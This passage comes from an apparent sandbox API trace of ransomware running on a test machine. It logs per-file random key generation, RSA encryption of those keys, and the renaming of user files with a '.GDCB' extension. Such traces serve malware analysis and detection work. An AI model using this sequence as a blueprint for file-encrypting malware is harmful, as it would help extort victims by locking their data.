dwSize=0x19f0, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0194.348] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3782802250\\2924287686.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3782802250\\2924287686.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3782802250\\2924287686.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3782802250\\2924287686.pri.gdcb")) returned 0 [0194.353] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0194.355] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.355] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.355] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0194.355] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.355] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0194.357] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.357] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.358] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0194.358] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.358] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0194.360] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508bff8) returned 1 [0194.360] CryptGetKeyParam (in: hKey=0x508bff8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0194.360] CryptEncrypt (in: hKey=0x508bff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0194.360] GetLastError () returned 0x0 [0194.360] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.360] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0194.362] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508bd78) returned 1 [0194.362] CryptGetKeyParam (in: hKey=0x508bd78, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0194.362] CryptEncrypt (in: hKey=0x508bd78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0194.362] GetLastError () returned 0x0 [0194.362] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0194.362] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\860568095\\965632691.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\860568095\\965632691.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0194.364] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0194.365] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0194.366] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x20a0, lpOverlapped=0x0) returned 1 [0194.375] VirtualAlloc (lpAddress=0x0, dwSize=0x20a0, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0194.380] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\860568095\\965632691.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\860568095\\965632691.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\860568095\\965632691.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\860568095\\965632691.pri.gdcb")) returned 0 [0194.395] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0194.397] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.397] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.397] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0194.397] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0194.397] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0194.399] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.399] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.399] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0194.399] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0194.399] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0194.401] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508b7b8) returned 1 [0194.401] CryptGetKeyParam (in: hKey=0x508b7b8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0194.401] CryptEncrypt (in: hKey=0x508b7b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0194.402] GetLastError () returned 0x0 [0194.402] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.402] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0194.403] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508bdb8) returned 1 [0194.403] CryptGetKeyParam (in: hKey=0x508bdb8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0194.404] CryptEncrypt (in: hKey=0x508bdb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0194.404] GetLastError () returned 0x0 [0194.404] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.404] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Shell\\DefaultLayouts.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\shell\\defaultlayouts.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0194.405] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0194.407] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0194.408] ReadFile (in: hFile=0x514, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d3e8*=0xb765, lpOverlapped=0x0) returned 1 [0194.417] VirtualAlloc (lpAddress=0x0, dwSize=0xb770, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0194.423] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Shell\\DefaultLayouts.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\shell\\defaultlayouts.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Shell\\DefaultLayouts.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\shell\\defaultlayouts.xml.gdcb")) returned 1 [0194.427] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0194.429] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.429] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.429] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0194.429] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.429] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0194.430] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.431] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.431] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0194.431] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0194.431] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0194.434] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508bab8) returned 1 [0194.434] CryptGetKeyParam (in: hKey=0x508bab8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0194.434] CryptEncrypt (in: hKey=0x508bab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0194.434] GetLastError () returned 0x0 [0194.434] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0194.434] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0194.436] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508bdf8) returned 1 [0194.436] CryptGetKeyParam (in: hKey=0x508bdf8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0194.436] CryptEncrypt (in: hKey=0x508bdf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0194.436] GetLastError () returned 0x0 [0194.436] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.436] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0194.439] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0194.440] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.441] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.441] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0194.441] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.441] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0194.442] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.443] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.443] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0194.443] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.443] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0194.445] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508ba38) returned 1 [0194.446] CryptGetKeyParam (in: hKey=0x508ba38, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0194.446] CryptEncrypt (in: hKey=0x508ba38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0194.446] GetLastError () returned 0x0 [0194.446] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.446] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0194.448] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508bbb8) returned 1 [0194.448] CryptGetKeyParam (in: hKey=0x508bbb8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0194.448] CryptEncrypt (in: hKey=0x508bbb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0194.448] GetLastError () returned 0x0 [0194.448] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.448] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Low\\SmartScreenCache.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\low\\smartscreencache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0194.448] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0194.450] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.451] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.451] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0194.451] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0194.451] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0194.452] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.452] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.452] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0194.452] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.453] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0194.454] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508be38) returned 1 [0194.454] CryptGetKeyParam (in: hKey=0x508be38, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0194.454] CryptEncrypt (in: hKey=0x508be38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f60000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f60000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0194.455] GetLastError () returned 0x0 [0194.455] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.455] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0194.457] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508beb8) returned 1 [0194.457] CryptGetKeyParam (in: hKey=0x508beb8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0194.457] CryptEncrypt (in: hKey=0x508beb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f70000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f70000*, pdwDataLen=0x285d120*=0x100) returned 1 [0194.457] GetLastError () returned 0x0 [0194.457] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0194.457] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Low\\SuggestedSites.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\low\\suggestedsites.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0194.459] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0194.461] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.462] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.462] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0194.462] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0194.462] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0194.463] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.464] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.464] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0194.464] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0194.464] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0194.466] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508b4b8) returned 1 [0194.466] CryptGetKeyParam (in: hKey=0x508b4b8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0194.466] CryptEncrypt (in: hKey=0x508b4b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f80000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f80000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0194.466] GetLastError () returned 0x0 [0194.466] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0194.466] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0194.468] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508baf8) returned 1 [0194.468] CryptGetKeyParam (in: hKey=0x508baf8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0194.468] CryptEncrypt (in: hKey=0x508baf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f90000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5f90000*, pdwDataLen=0x285d630*=0x100) returned 1 [0194.468] GetLastError () returned 0x0 [0194.468] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0194.468] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\usrclass.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0194.476] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0194.478] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.478] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.479] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0194.479] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0194.479] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0194.480] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0194.480] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0194.480] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: 